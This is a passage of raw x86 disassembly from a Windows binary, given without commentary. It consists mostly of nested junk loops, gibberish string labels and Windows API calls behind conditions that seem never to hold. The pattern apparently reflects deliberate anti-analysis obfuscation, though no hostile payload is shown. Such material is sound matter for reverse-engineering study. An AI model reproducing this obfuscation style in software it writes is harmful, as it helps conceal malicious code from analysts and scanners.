mov ecx, dword [ebp - 0x114]
xor ecx, dword [ebp - 0x1f8]
or eax, ecx
cdq
mov dword [ebp - 0x640], eax
mov dword [ebp - 0x63c], edx
push dword [ebp - 0x63c]
push dword [ebp - 0x640]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4629cc
jmp 0x4629aa
jmp 0x462984
jmp 0x46295e
mov dword [ebp - 0x590], 0x65d3384f
cmp dword [ebp - 0x314], 0x147d
jge 0x462a56
mov edx, dword [ebp - 0x718]
mov ecx, 0xac7538
call fcn.0041c2dd
lea ecx, [ebp - 0x7f8]
call fcn.00417aef
jmp 0x461e65
cmp dword [ebp - 0x4bc], 0xaee
jge 0x462a82
mov edx, dword [ebp - 0x59c]
mov ecx, 0xac7538
call fcn.0041c2dd
lea ecx, [ebp - 0x808]
call fcn.00417aef
mov dword [ebp - 0x31c], 0x31ed
mov dword [ebp - 0x6a0], str.sbatlrrxd_fok_xyy_ereffwaic_ilf_kawj_shqjkjcg
cmp dword [ebp - 0x31c], 0x32a4
jle 0x462b7a
and dword [ebp - 0x11c], 0
jmp 0x462ac7
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0x7cc8
jge 0x462b7a
and dword [ebp - 0x1d4], 0
jmp 0x462aed
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0x6a6c
jge 0x462b75
and dword [ebp - 0x124], 0
jmp 0x462b0f
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0x10c7
jge 0x462b70
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x1d4]
sar eax, cl
or eax, dword [ebp - 0x124]
cdq
mov dword [ebp - 0x64c], eax
mov dword [ebp - 0x648], edx
push dword [ebp - 0x648]
push dword [ebp - 0x64c]
lea ecx, [ebp - 0x8c8]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x8c8]
call fcn.00401711
jmp 0x462b02
jmp 0x462ae0
jmp 0x462aba
cmp dword [ebp - 0x31c], 0x30be
jge 0x462b92
push dword [ebp - 0x6a0]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x434], 0x3e9d
mov dword [ebp - 0x5a8], str.mohlfajca_iun_oiv_dhhbc_rbobg_syj_apcnbo_xsgbfswcn_klriwy_wdfsenpst
cmp dword [ebp - 0x434], 0x4212
jle 0x462c56
and dword [ebp - 0x200], 0
jmp 0x462bcc
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0x163c
jge 0x462c4c
and dword [ebp - 0x12c], 0
jmp 0x462bee
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0x47b2
jge 0x462c47
mov eax, dword [ebp - 0x200]
sub eax, dword [ebp - 0x12c]
cdq
mov dword [ebp - 0x658], eax
mov dword [ebp - 0x654], edx
push dword [ebp - 0x654]
push dword [ebp - 0x658]
lea ecx, [ebp - 0x8e0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x8e0]
call fcn.00401711
jmp 0x462be1
jmp 0x462bbf
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
cmp dword [ebp - 0x434], 0x3b00
jge 0x462c6e
push dword [ebp - 0x5a8]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x43c], 0xd95e17ca
mov dword [ebp - 0x324], 0x2e30
mov dword [ebp - 0x778], str.qgcfkyb_bjiwrfeai_okti_nupxmqw_qrs_jxafbnhql_ximgsbxu_ipjji_ofee_iwymbhoxk_vmc_imvenfu_duiyv_xcsf
cmp dword [ebp - 0x324], 0x2fcf
jle 0x462d12
and dword [ebp - 0x1dc], 0
jmp 0x462cae
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0x438f
jge 0x462d12
and dword [ebp - 0x134], 0
jmp 0x462cd0
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0x7959
jge 0x462d10
mov eax, dword [ebp - 0x1dc]
cdq
idiv dword [ebp - 0x134]
mov eax, edx
cdq
mov dword [ebp - 0x664], eax
mov dword [ebp - 0x660], edx
push dword [ebp - 0x660]
push dword [ebp - 0x664]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x462cc3
jmp 0x462ca1
mov dword [ebp - 0x504], 0xffffffff
cmp dword [ebp - 0x324], 0x2c43
jge 0x462d38
mov edx, dword [ebp - 0x778]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x444], 0x30de9bf9
mov dword [ebp - 0x5b4], 6
mov byte [ebp - 0x39], 0
movzx eax, byte [ebp - 0x39]
test eax, eax
je 0x462d60
push 0
call dword [sym.imp.USER32.dll_IsIconic]
cmp dword [ebp - 0x43c], 0
je 0x462dda
cmp dword [ebp - 0x504], 0
jne 0x462d84
cmp dword [ebp - 0x504], 0
jne 0x462d84
and dword [ebp - 0x32c], 0
jmp 0x462d8e
mov dword [ebp - 0x32c], 1
mov eax, dword [ebp - 0x444]
cmp dword [ebp - 0x32c], eax
jg 0x462da3
cmp dword [ebp - 0x5b4], 0
cmp dword [ebp - 0x43c], 0x98f0
jge 0x462dbb
mov dword [ebp - 0x334], 1
jmp 0x462dc2
and dword [ebp - 0x334], 0
cmp dword [ebp - 0x334], 0x8ea3
jne 0x462dda
mov dword [ebp - 0x4c4], 1
jmp 0x462de1
and dword [ebp - 0x4c4], 0
cmp dword [ebp - 0x4c4], 6
jae 0x462df6
mov dword [ebp - 0x33c], 1
jmp 0x462dfd
and dword [ebp - 0x33c], 0
mov eax, dword [ebp - 0x33c]
mov dword [ebp - 0x444], eax
movzx eax, byte [0x2df3208]
test eax, eax
je 0x462e27
mov esi, 0xaae8a0
mov edi, dword [ebp + 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 8]
jmp 0x465994
mov dword [ebp - 0x844], 0xaae8a0
mov dword [ebp - 0x84c], 0x862f
mov byte [ebp - 0x44], 0
movzx eax, byte [ebp - 0x44]
test eax, eax
je 0x462e57
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetWinMetaFileBits]
mov dword [ebp - 0x344], 0x954
mov dword [ebp - 0x6ac], str.tibfw_ormwcd_wipwa_ktyoal_nuhjvg_hopph_focdae_rwoxqgwt_ybijdgm_lgmw_oamub_wkwfl
cmp dword [ebp - 0x344], 0xa57
jle 0x462f22
and dword [ebp - 0x208], 0
jmp 0x462e91
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0x245d
jge 0x462f14
and dword [ebp - 0x13c], 0
jmp 0x462eb3
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0x3e69
jge 0x462f0f
mov eax, dword [ebp - 0x208]
cdq
idiv dword [ebp - 0x13c]
mov eax, edx
cdq
mov dword [ebp - 0x678], eax
mov dword [ebp - 0x674], edx
push dword [ebp - 0x674]
push dword [ebp - 0x678]
lea ecx, [ebp - 0x910]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x910]
call fcn.00401711
jmp 0x462ea6
jmp 0x462e84
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RtlUnwind]
mov byte [ebp - 0x41], 0
movzx eax, byte [ebp - 0x41]
test eax, eax
je 0x462f38
push 0
push 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
cmp dword [ebp - 0x344], 0x87c
jge 0x462f50
push dword [ebp - 0x6ac]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x854], 0xaae8a4
mov byte [0x2df3208], 1
xor eax, eax
inc eax
imul eax, eax, 0x148
add eax, 0xaae5b8
mov dword [ebp - 0x350], eax
xor eax, eax
inc eax
imul eax, eax, 0x1c
add eax, 0xaae5b8
mov dword [ebp - 0x294], eax
mov eax, dword [ebp - 0x350]
mov dword [0xaae8a0], eax
mov dword [ebp - 0x3dc], 0x7d6f
mov dword [ebp - 0x730], str.ogsem_vxq_wgefgswm_epqttqicn_hunwfggn_sububixec_jkybmh_fsrkqhxwj_umn_ktclt_wlp_oxvsj
cmp dword [ebp - 0x3dc], 0x7ec4
jle 0x46304a
and dword [ebp - 0x6c], 0
jmp 0x462fc2
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0x3282
jge 0x46304a
and dword [ebp - 0x144], 0
jmp 0x462fe1
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0x7785
jge 0x463045
and dword [ebp - 0x210], 0
jmp 0x463003
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0x4268
jge 0x463043
mov eax, dword [ebp - 0x6c]
and eax, dword [ebp - 0x144]
and eax, dword [ebp - 0x210]
cdq
mov dword [ebp - 0x684], eax
mov dword [ebp - 0x680], edx
push dword [ebp - 0x680]
push dword [ebp - 0x684]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x462ff6
jmp 0x462fd4
jmp 0x462fbb
push 3
lea ecx, [ebp - 0x268]
call fcn.004179d7
mov dword [ebp - 0x10], 0xfffffff8
mov dword [ebp - 0x60], 0xea4c5706
mov dword [ebp - 0x544], 0x1b66
mov dword [ebp - 0x5c0], str.ygtfworpi_bcutw_cagxtjq_ubadrilmp_rsekdpw_qebnwgwv_ayn_puls_aseww_crbywud_wtdarspq_moeo
cmp dword [ebp - 0x544], 0x1e48
jle 0x463120
and dword [ebp - 0x14c], 0
jmp 0x46309f
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0x7257
jge 0x463120
and dword [ebp - 0x1ec], 0
jmp 0x4630c1
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0x1332
jge 0x46311b
mov eax, dword [ebp - 0x14c]
imul eax, dword [ebp - 0x1ec]
cdq
mov dword [ebp - 0x690], eax
mov dword [ebp - 0x68c], edx
push dword [ebp - 0x68c]
push dword [ebp - 0x690]
lea ecx, [ebp - 0x940]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x940]
call fcn.00401711
jmp 0x4630b4
jmp 0x463092
mov dword [ebp - 0x38c], 0x9515ed76
cmp dword [ebp - 0x544], 0x1788
jge 0x463142
push dword [ebp - 0x5c0]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x5f0], 0x8b24cec8
mov dword [ebp - 0x154], 0
jmp 0x463165
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 3
jge 0x463187
push dword [ebp - 0x154]
lea ecx, [ebp - 0x268]
call fcn.00417bb8
mov dword [eax], 2
jmp 0x463158
mov dword [ebp - 0x10], 2
jmp 0x463197
mov eax, dword [ebp - 0x10]
dec eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jl 0x463b07
mov dword [ebp - 0x64], 0xd7af
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x6b8], 8
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x34c], 0xdd0
mov dword [ebp - 0x724], str.brlhu_ylfclguit_rctafq
cmp dword [ebp - 0x34c], 0x101f
jle 0x463299
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
and dword [ebp - 0x224], 0
jmp 0x463202
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0x6867
jge 0x463299
and dword [ebp - 0x15c], 0
jmp 0x463228
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0x5dc2
jge 0x463294
and dword [ebp - 0x1f4], 0
jmp 0x46324a
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0x2a9b
jge 0x463292
mov eax, dword [ebp - 0x224]
cdq
idiv dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x1f4]
sar edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x69c], eax
mov dword [ebp - 0x698], edx
push dword [ebp - 0x698]
push dword [ebp - 0x69c]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x46323d
jmp 0x46321b
jmp 0x4631f5
push 1
lea ecx, [ebp - 0x7c8]
call fcn.004179d7
cmp dword [ebp - 0x34c], 0xb66
jge 0x4632c2
mov edx, dword [ebp - 0x724]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x3ac], 0xffffffff
or dword [ebp - 0x7bc], 0xffffffff
or dword [ebp - 0x7b8], 0xffffffff
or dword [ebp - 0x7b4], 0xffffffff
or dword [ebp - 0x7b0], 0xffffffff
lea ecx, [ebp - 0x28d]
call fcn.00417bff
push eax
lea eax, [ebp - 0x7ac]
push eax
lea eax, [ebp - 0x7bc]
push eax
lea ecx, [ebp - 0x8a4]
call fcn.00417c13
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x818]
call fcn.00417ac9
mov dword [ebp - 0x3d4], 0x2139e6d5
mov dword [ebp - 0x44c], 0x1ef1
mov dword [ebp - 0x5cc], str.hljkvbf_bxikd_vpfp_jie_ygdpikbf_cvc_jlawe_vjssnmcq_jlgov_dufgjux
cmp dword [ebp - 0x44c], 0x1f15
jle 0x463448
and dword [ebp - 0x16c], 0
jmp 0x463361
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0x6bbc
jge 0x463448
and dword [ebp - 0x164], 0
jmp 0x463387
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0xddc
jge 0x463443
and dword [ebp - 0x23c], 0
jmp 0x4633ad
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0x5bd0
jge 0x46343e
and dword [ebp - 0x1fc], 0
jmp 0x4633d3
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0x31ed
jge 0x463439
mov eax, dword [ebp - 0x164]
imul eax, dword [ebp - 0x23c]
and eax, dword [ebp - 0x16c]
xor eax, dword [ebp - 0x1fc]
cdq
mov dword [ebp - 0x6a8], eax
mov dword [ebp - 0x6a4], edx
push dword [ebp - 0x6a4]
push dword [ebp - 0x6a8]
lea ecx, [ebp - 0x970]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x970]
call fcn.00401711
jmp 0x4633c6
jmp 0x4633a0
jmp 0x46337a
jmp 0x463354
mov dword [ebp - 0x174], 0
jmp 0x463461
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 1
jge 0x463483
push dword [ebp - 0x174]
lea ecx, [ebp - 0x7c8]
call fcn.00417bb8
mov dword [eax], 8
jmp 0x463454
cmp dword [ebp - 0x44c], 0x1e34
jge 0x46349b
push dword [ebp - 0x5cc]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x64], 0xfffffff8
jl 0x4634ad
mov dword [ebp - 0x354], 1
jmp 0x4634b4
and dword [ebp - 0x354], 0
push 9
pop eax
sub eax, dword [ebp - 0x354]
je 0x4634de
push dword [ebp - 0x10]
lea ecx, [ebp - 0x268]
call fcn.00417bb8
cmp dword [eax], 0
je 0x4634de
mov dword [ebp - 0x4cc], 1
jmp 0x4634e5
and dword [ebp - 0x4cc], 0
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0x1f3813bf
jg 0x463503
mov dword [ebp - 0x35c], 1
jmp 0x46350a
and dword [ebp - 0x35c], 0
mov eax, dword [ebp - 0x35c]
mov dword [ebp - 0x60], eax
mov esi, dword [ebp - 0x60]
push dword [ebp - 0x10]
lea ecx, [ebp - 0x268]
call fcn.00417bb8
cmp esi, dword [eax]
jg 0x46353a
cmp dword [ebp - 0x6b8], 0
jne 0x46353a
and dword [ebp - 0x5d8], 0
jmp 0x463544
mov dword [ebp - 0x5d8], 1
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x85c], eax
push 0
lea ecx, [ebp - 0x268]
call fcn.00417bb8
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x14], eax
mov esi, dword [ebp - 0x14]
push dword [ebp - 0x10]
lea ecx, [ebp - 0x268]
call fcn.00417bb8
cmp esi, dword [eax]
jg 0x463581
mov dword [ebp - 0x454], 1
jmp 0x463588
and dword [ebp - 0x454], 0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x268]
call fcn.00417bb8
mov eax, dword [eax]
cmp eax, dword [ebp - 0x454]
jg 0x4635ac
mov dword [ebp - 0x364], 1
jmp 0x4635b3
and dword [ebp - 0x364], 0
mov esi, dword [ebp - 0x64]
add esi, dword [ebp - 0x364]
push 2
lea ecx, [ebp - 0x268]
call fcn.00417bb8
cmp esi, dword [eax]
jl 0x4635d9
mov dword [ebp - 0x50c], 1
jmp 0x4635e0
and dword [ebp - 0x50c], 0
cmp dword [ebp - 0x50c], 0xffffffff
jle 0x4635f5
mov dword [ebp - 0x36c], 1
jmp 0x4635fc
and dword [ebp - 0x36c], 0
cmp dword [ebp - 0x36c], 6
jg 0x463611
mov dword [ebp - 0x45c], 1
jmp 0x463618
and dword [ebp - 0x45c], 0
cmp dword [ebp - 0x45c], 0xfffffffc
jle 0x46362d
mov dword [ebp - 0x374], 1
jmp 0x463634
and dword [ebp - 0x374], 0
cmp dword [ebp - 0x374], 1
je 0x463649
mov dword [ebp - 0x4d4], 1
jmp 0x463650
and dword [ebp - 0x4d4], 0
mov eax, dword [ebp - 0x64]
add eax, dword [ebp - 0x4d4]
cmp eax, 1
jle 0x46385a
mov dword [ebp - 0x37c], 0x7618
mov dword [ebp - 0x760], str.gac_lmt_mser_nkc_uwedxl_gip_toxsf_lrftyut
cmp dword [ebp - 0x37c], 0x78c8
jle 0x46374b
push 0
push 0
call dword [sym.imp.GDI32.dll_SelectClipRgn]
and dword [ebp - 0x22c], 0
jmp 0x4636a6
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0xf27
jge 0x46374b
and dword [ebp - 0x17c], 0
jmp 0x4636cc
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0x7d9f
jge 0x463746
and dword [ebp - 0x70], 0
jmp 0x4636e5
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x32f0
jge 0x463741
and dword [ebp - 0x78], 0
jmp 0x4636fb
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0x5c01
jge 0x46373f
mov eax, dword [ebp - 0x22c]
cdq
idiv dword [ebp - 0x17c]
imul edx, dword [ebp - 0x70]
and edx, dword [ebp - 0x78]
mov eax, edx
cdq
mov dword [ebp - 0x6b4], eax
mov dword [ebp - 0x6b0], edx
push dword [ebp - 0x6b0]
push dword [ebp - 0x6b4]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4636f4
jmp 0x4636de
jmp 0x4636bf
jmp 0x463699
mov dword [ebp - 0x5e4], 0xffff
cmp dword [ebp - 0x37c], 0x75ca
jge 0x463771
mov edx, dword [ebp - 0x760]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x6c4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x88c], eax
cmp dword [ebp - 0x64], 6
jne 0x463796
mov dword [ebp - 0x464], 1
jmp 0x46379d
and dword [ebp - 0x464], 0
cmp dword [ebp - 0x464], 0
jae 0x4637b2
mov dword [ebp - 0x384], 1
jmp 0x4637b9
and dword [ebp - 0x384], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x384], eax
je 0x4637d0
mov dword [ebp - 0x52c], 1
jmp 0x4637d7
and dword [ebp - 0x52c], 0
mov eax, dword [ebp - 0x52c]
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 0
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x828], eax
mov eax, dword [ebp - 0x5e4]
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x60], 0xfffffffb
jl 0x463811
mov dword [ebp - 0x46c], 1
jmp 0x463818
and dword [ebp - 0x46c], 0
mov esi, dword [ebp - 0x46c]
sub esi, 0x48c84060
push dword [ebp - 0x10]
lea ecx, [ebp - 0x268]
call fcn.00417bb8
cmp esi, dword [eax]
je 0x463842
mov dword [ebp - 0x394], 1
jmp 0x463849
and dword [ebp - 0x394], 0
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x6c4], eax
jmp 0x463aec
mov dword [ebp - 0x58], 0x942a
mov dword [ebp - 0x14], 0
jmp 0x463871
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jg 0x463aec
mov dword [ebp - 0x39c], 4
mov dword [ebp - 0x27c], 0xd3f58f29
mov dword [ebp - 0x53c], 1
push 0
lea ecx, [ebp - 0x7c8]
call fcn.00417bb8
mov esi, eax
push dword [ebp - 0x14]
lea ecx, [ebp - 0x268]
call fcn.00417bb8
mov ecx, dword [esi]
mov dword [eax], ecx
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x5f0], eax
jg 0x4638d1
mov dword [ebp - 0x4dc], 1
jmp 0x4638d8
and dword [ebp - 0x4dc], 0
mov eax, dword [ebp - 0x4dc]
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0x39c], 0
je 0x463900
push 3
pop eax
test eax, eax
je 0x463900
mov dword [ebp - 0x474], 1
jmp 0x463907
and dword [ebp - 0x474], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x268]
call fcn.00417bb8
mov eax, dword [eax]
cmp eax, dword [ebp - 0x474]
je 0x46392b
mov dword [ebp - 0x3a4], 1
jmp 0x463932
and dword [ebp - 0x3a4], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x268]
call fcn.00417bb8
mov esi, dword [ebp - 0x3a4]
sub esi, dword [eax]
neg esi
push dword [ebp - 0x14]
lea ecx, [ebp - 0x268]
call fcn.00417bb8
cmp esi, dword [eax]
jge 0x463968
mov dword [ebp - 0x514], 1
jmp 0x46396f
and dword [ebp - 0x514], 0
mov eax, dword [ebp - 0x514]
mov dword [ebp - 0x3ac], eax
mov eax, dword [ebp - 0x27c]
cmp dword [ebp - 0x3ac], eax
jl 0x463995
mov dword [ebp - 0x47c], 1
jmp 0x46399c
and dword [ebp - 0x47c], 0
mov eax, dword [ebp - 0x58]
add eax, dword [ebp - 0x47c]
sub eax, dword [ebp - 0x27c]
cmp eax, dword [ebp - 0x58]
jge 0x4639bc
mov dword [ebp - 0x3b4], 1
jmp 0x4639c3
and dword [ebp - 0x3b4], 0
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x3b4], eax
jne 0x4639e5
push 2
pop eax
test eax, eax
jne 0x4639e5
push 0xfffffffffffffff6
pop eax
test eax, eax
jne 0x4639e5
and dword [ebp - 0x4e4], 0
jmp 0x4639ef
mov dword [ebp - 0x4e4], 1
cmp dword [ebp - 0x4e4], 0xa35c
jle 0x463a07
mov dword [ebp - 0x3bc], 1
jmp 0x463a0e
and dword [ebp - 0x3bc], 0
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x3bc]
mov dword [ebp - 0x53c], eax
push 0xfffffffffffffffd
pop eax
add eax, 0xfffffffa
cmp eax, 0xffff
jne 0x463a37
mov dword [ebp - 0x484], 1
jmp 0x463a3e
and dword [ebp - 0x484], 0
mov eax, dword [ebp - 0x58]
imul eax, dword [ebp - 0x484]
cmp eax, dword [ebp - 0x58]
jle 0x463a59
mov dword [ebp - 0x3c4], 1
jmp 0x463a60
and dword [ebp - 0x3c4], 0
push 2
lea ecx, [ebp - 0x818]
call fcn.00417bb8
mov ecx, dword [ebp - 0x3c4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x53c], eax
jle 0x463a8c
mov dword [ebp - 0x3cc], 1
jmp 0x463a93
and dword [ebp - 0x3cc], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x3cc], eax
je 0x463aaa
mov dword [ebp - 0x48c], 1
jmp 0x463ab1
and dword [ebp - 0x48c], 0
mov eax, dword [ebp - 0x48c]
mov dword [ebp - 0x3d4], eax
mov eax, dword [ebp - 0x27c]
cmp dword [ebp - 0x3d4], eax
jl 0x463ad7
mov dword [ebp - 0x4ec], 1
jmp 0x463ade
and dword [ebp - 0x4ec], 0
mov eax, dword [ebp - 0x4ec]
mov dword [ebp - 0x60], eax
jmp 0x46386a
lea ecx, [ebp - 0x818]
call fcn.00417aef
lea ecx, [ebp - 0x7c8]
call fcn.00417aef
jmp 0x463190
lea ecx, [ebp - 0x268]
call fcn.00417aef
cmp dword [ebp - 0x3dc], 0x7a5a
jge 0x463b2e
mov edx, dword [ebp - 0x730]
mov ecx, 0xac7538
call fcn.0041c2dd
mov eax, dword [ebp - 0x294]
mov dword [0xaae8a4], eax
mov dword [ebp - 0x48], 0xffffffff
mov dword [ebp - 0x4c], 0xffffffff
mov dword [ebp - 0x2c], 0xef51ae9a
mov dword [ebp - 0x494], 0x6b2f
mov dword [ebp - 0x5fc], str.vdy_ajafim_rkcvftf_rid_fqrxnmn_nbrsdy_ixo_dweon_clhik
cmp dword [ebp - 0x494], 0x6ecd
jle 0x463c1f
and dword [ebp - 0x88], 0
jmp 0x463b88
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0x58a2
jge 0x463c1f
and dword [ebp - 0x90], 0
jmp 0x463bae
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0x50b1
jge 0x463c1a
and dword [ebp - 0x98], 0
jmp 0x463bd0
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0x52af
jge 0x463c18
mov eax, dword [ebp - 0x88]
cdq
idiv dword [ebp - 0x90]
mov ecx, dword [ebp - 0x98]
shl edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x6c0], eax
mov dword [ebp - 0x6bc], edx
push dword [ebp - 0x6bc]
push dword [ebp - 0x6c0]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x463bc3
jmp 0x463ba1
jmp 0x463b7b
cmp dword [ebp - 0x494], 0x6934
jge 0x463c3b
mov edx, dword [ebp - 0x5fc]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x284], 0x634d7f48
mov dword [ebp - 0x24], 0
jmp 0x463c55
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x463c6b
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x824], 0x71b2a125
jmp 0x463c4e
mov dword [ebp - 0x24], 0
jmp 0x463c7b
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x463c91
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x89c], 1
jmp 0x463c74
cmp dword [ebp - 0x48], 0xfffffff8
jne 0x463ca3
mov dword [ebp - 0x3e4], 1
jmp 0x463caa
and dword [ebp - 0x3e4], 0
mov eax, dword [ebp - 0x3e4]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
je 0x463cd5
cmp dword [ebp - 0x4c], 1
je 0x463ccb
mov dword [ebp - 0x51c], 1
jmp 0x463cd2
and dword [ebp - 0x51c], 0
mov eax, dword [ebp - 0x48]
mov eax, 0x7f609b2b
cmp eax, 0xea6edad9
je 0x463ced
mov dword [ebp - 0x3ec], 1
jmp 0x463cf4
and dword [ebp - 0x3ec], 0
cmp dword [ebp - 0x3ec], 0
jb 0x463d09
mov dword [ebp - 0x6d0], 1
jmp 0x463d10
and dword [ebp - 0x6d0], 0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x7ec], eax
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x48]
je 0x464007
mov dword [ebp - 0x29c], 0xffffffff
mov dword [ebp - 0x49c], 0x1dd
mov dword [ebp - 0x608], str.qtehflgsj_rflcupioo_pkd_yceq_ykqfnirn_hwbblr_xidlwvlsw_uttea_bjbgsxhwl_ynhgqnw_kdxqq_qasludi
cmp dword [ebp - 0x49c], 0x355
jle 0x463e1a
and dword [ebp - 0xa0], 0
jmp 0x463d69
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 0x7fdb
jge 0x463e1a
